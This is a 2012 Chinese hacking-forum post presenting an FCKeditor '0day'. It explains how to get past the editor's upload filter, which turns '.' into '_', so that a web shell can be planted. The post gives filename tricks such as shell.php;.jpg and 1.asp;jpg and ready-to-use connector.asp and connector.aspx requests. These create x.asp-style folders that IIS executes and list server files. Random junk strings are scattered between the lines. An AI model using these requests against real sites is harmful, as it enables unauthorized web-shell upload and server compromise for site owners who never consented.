找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2196|回复: 0
打印 上一主题 下一主题

FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:27:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
* o% o8 j" o2 _: s# t& \1 I* K9 v! ?& f7 f- \2 l
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
7 B; K% x2 x& A, K) z  N! M  P. `8 z+ }6 [9 J
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。; l' s$ Q0 R- I* J* ]1 w8 V$ _
0 ]  K4 v* ?5 n. x( V! q
突破建立文件夹:
, N. S: I% Y" b) o3 [
; }  @/ P8 r8 ]* q: leditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp4 O3 S- ~# \3 g' j; r

9 ?0 S; \+ o# G1 R7 s2 @参数:- s6 a( v! M$ H0 }+ M0 R  K

2 O+ Z5 K4 L4 U- \当前目录名:CurrentFolder=/qing.asp6 H* b2 G8 _: f; O, h
8 n) k) F, }2 x! t" S! B% w
新的目录名:NewFolderName=x.asp" }6 z6 a" ~& O8 ^, a0 f
0 x7 t- A7 s1 C  T1 z
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
) V8 w% O6 |% v; W, H5 w& m) X9 e! K8 U: q7 @: s
那么 x.asp 就已经建立生成了,此方法百试百灵!" k8 @0 ?: N+ r. Y+ z+ m

2 g8 R/ c( Y+ J8 c) h新建文件夹参数 x.asp,基本都能搞定。
9 L4 c: @6 J- w! I( s: p5 p9 W7 }# t
下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
5 }5 u/ G, H2 m) T3 E) A- Q) g6 I- j$ P9 \# Q! J7 ~6 h
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
! M$ `: r+ t* R0 h/ t5 H4 C4 }$ l1 D- b  O' s0 }% Z$ i' M! P; ~% ^& \
获取文件列表& I. r) F. q% p6 V2 L8 P
       aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F% {# P. E; y" }7 O8 V& l% p

4 h; j: e0 O, M0 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表